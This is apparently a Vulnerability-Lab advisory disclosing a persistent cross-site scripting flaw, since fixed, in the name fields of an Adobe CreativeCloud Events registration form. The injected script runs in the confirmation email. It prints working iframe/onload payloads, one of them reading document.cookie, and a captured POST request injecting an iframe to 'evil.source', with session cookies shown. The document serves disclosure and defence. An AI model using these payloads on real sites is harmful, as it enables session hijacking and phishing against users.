Adobe CreativeCloud - (Events ) Persistent Vulnerability

Document Title:
===============
Adobe CreativeCloud - (Events ) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1840


Release Date:
=============
2018-06-18


Vulnerability Laboratory ID (VL-ID):
====================================
1840


Common Vulnerability Scoring System:
====================================
3.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.

(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the official Adobe CreativeCloud Events online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-06-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Adobe Systems
Product: CreativeCloud - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure Program


Technical Details & Description:
================================
An application-side input validation and encoding vulnerability has been discovered in the official Adobe Connect Events Webinar online service web-application.
The vulnerability and encoding issue allows remote attackers to inject own malicious script codes to the application-side of the vulnerable modules context.

The vulnerability is located in the `first_name` and `last_name` parameters of the `register` module submit POST method request. Remote attackers are able to 
inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe creativecloud events service emails module. 
The email body does not encode the input values and the registration is not restricted on inputs as well, which results in the application-side script code 
execution. The injection point is the registration input form of the events in adobe creativecloud and the execution point occurs in the email body context 
of the registration confirmation.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. 
Exploitation of the persistent input validation web vulnerability requires no low privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s): Inject
[+] POST

Vulnerable Module(s):
[+] Events - Registration Form

Vulnerable File(s):
[+] ./register

Vulnerable Parameter(s):
[+] attendee first_name
[+] attendee last_name

Affected Module(s):
[+]  Email (Registration Confirmation)


Proof of Concept (PoC):
=======================
The application-side issue and mail encoding vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payloads
"><iframe src=http://www.vuln-lab.com onload=alert("PENTEST") <
"><iframe src=http://www.vuln-lab.com onload=alert(document.domain) <
"><iframe src=http://www.vuln-lab.com onload=alert(document.cookie) <


Vulnerable Source: Email (Registration Confirmation)
<td style="color:#666666; font-family:Arial, Helvetica, sans-serif; font-weight:100;padding-top:0; padding-right:30px; padding-left:30px;">
<h2>Thanks for registering.</h2> <h3>a"&gt;<[PERSISTENT INJECTED SCRIPT CODE PAYLOAD EXECUTION!]>&nbsp;([email protected])</h3> 
<p> You are now registered for&nbsp;<strong>European Creative Jam Online.&nbsp;</strong></p><p>We´ll send you a reminder to connect to the 
live stream the day before and 1 hour before start.&nbsp;</p><p>To connect to the live stream on May 6th, simply go to our Adobe Twitch 
Channel: <a href="http://bean.attendease.com/track/click/12604751/www.twitch.tv?p=eyJzIjoiOVc5U2tRVFI3SmNENUZqU2R5b0xVTnJ1TXNBIiwidiI6MSw
icCI6IntcInVcIjoxMjYwNDc1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy50d2l
0Y2gudHZcXFwvYWRvYmVcIixcImlkXCI6XCI4MmEzMjA3ZjNiMTg0ZjM2YjgzNjA5MzRkZmYyZWM1MlwiLFwidXJsX2lkc1wiOltcImU0ZDBlZGFmMDllYzEyNzNhZGEyYzIxNjAzNjhlZj
llZjBkZWYxZDVcIl19In0" target="_blank">https://www.twitch.tv/adobe</a>.</p><p><br></p><p><em>The Adobe Team</em></p>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://europeancreativejam.creativecloud.adobeevents.com/register 
Mime Type[text/html]
   Request Header:
      Host[europeancreativejam.creativecloud.adobeevents.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://europeancreativejam.creativecloud.adobeevents.com/register]
      Cookie[AMCV_9E1005A551ED61CA0A490D45%40AdobeOrg=793872103%7CMCIDTS%7C16926%7CMCMID%7C82415580871012656882450110221267981214%7CMCAAMLH-
1462955240%7C6%7CMCAAMB-1462955240%7CNRX38WO0n5BH8Th-nqAG_A%7CMCAID%7C2B94D93585310878-6000010D60028B00; s_pers=%20TID%3DSBNHMQZP-
-%7C1472718441130%3B%20s_vs%3D1%7C1462352353507%3B%20gpv%3Deuropeancreativejam.creativecloud.adobeevents.com%253Aregister%7C1462352353798%3B%20s_
nr%3D1462350553801-New%7C1493886553801%3B; s_sess=%20s_a_campaign%3DSBNHMQZP%3B%20s_dmdbase%3D%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn
%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253AWireless%253AMobile%2520Network%3B%20s_dmdbase_custom%3D%255Bn
%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D
%253A%255Bn%252Fa%255D%3B%20s_cpc%3D0%3B%20s_sq%3Dadbdtmstatsprod%253D%252526c.%252526a.%252526clickmap.%252526page%25253D
europeancreativejam.creativecloud.adobeevents.com%2525257Cregister%2525253Athanks%252526link%25253DPrint%25252520this%25252520page%252526region
%25253DBODY%252526pageIDType%25253D1%252526.clickmap%252526.a%252526.c%252526pid%25253Deuropeancreativejam.creativecloud.adobeevents.com%2525257C
register%2525253Athanks%252526pidt%25253D1%252526oid%25253Djavascript%2525253Aprint%25252528%25252529%2525253B%252526ot%25253DA%3B%20s_cc%3D
true%3B%20s_ppv%3D%255B%2522europeancreativejam.creativecloud.adobeevents.com%252Fregister%252Fthanks%2522%252C85%252C0%252C875%252C1920%252C875
%252C1920%252C1080%252C1%252C%2522P%2522%255D%3B; mbox=session#1462350440163-340825#1462352414|PC#1462350440163-340825.26_12#1465374554; 
_attendease_deuce_session=4bf58abce99c35692d9a3dc52d7214a7; s_cc=true; s_sq=adbdtmstatsprod%3D%2526pid%253D
europeancreativejam.creativecloud.adobeevents.com%25257Cregister%2526pidt%253D1%2526oid%253DRegister%2526oidt%253D3%2526ot%253DSUBMIT]
      Connection[keep-alive]
   POST-Daten:
      attendee%5Bregistration_form_filings%5D%5B%5D%5Bform_id%5D[56d490704be5dd615c0216fc]
      attendee%5Bfirst_name%5D[a%22%3E%3Ciframe+src%3Devil.source%3E%2520%3E%3Ciframe%3E]
      attendee%5Blast_name%5D[b%22%3E%3Ciframe+src%3Devil.source%3E%2520%3E%3Ciframe%3E]
      attendee%5Bemail%5D[bkm%40evolution-sec.com]
      attendee%5Bregistration_form_filings%5D%5B%5D%5Banswers%5D%5B56e020a34be5dd8fdb0028ec%5D[1251251]
      attendee%5Bregistration_form_filings%5D%5B%5D%5Banswers%5D%5B56e020a34be5dd8fdb0028ed_country%5D[BH]
   Response Header:
      Access-Control-Allow-Origin[*]
      Access-Control-Request-Method[*]
      Cache-Control[max-age=0, private, must-revalidate]
      Content-Encoding[gzip]
      Content-Type[text/html; charset=utf-8]
      Date[Wed, 04 May 2016 08:29:21 GMT]
      Etag[W/"c6fe320e66ef04588deb9e0f83112409"]
      Server[nginx/1.8.0]
      Status[200 OK]
      X-Frame-Options[SAMEORIGIN]
      X-Powered-By[Phusion Passenger]
      X-Rack-Cache[invalidate, pass]
      X-Request-Id[365868c829a325f9c88cdb5cfae7c7e7]
      X-Runtime[0.434972]
      X-Trusted-Unix-Socket[420]
      x-ua-compatible[IE=Edge,chrome=1]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
https://europeancreativejam.creativecloud.adobeevents.com/
https://europeancreativejam.creativecloud.adobeevents.com/register


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname 
input fields in the registration file POST method request. Dissallow the usage of special chars and restrict the 
input to prevent further script code injection attacks. Encode the email body context of the adobe connect service 
mails after the registration. Block script code tags or escape and encode them as well.

The vulnerability has been resolved by the adobe psirt team in 2017 Q4. The disclosure process took about 6 month.


Security Risk:
==============
The security risk of the application-side vulnerability in the events webinar web-application is estimated as medium (CVSS 3.5).


Credits & Authors:
==================
Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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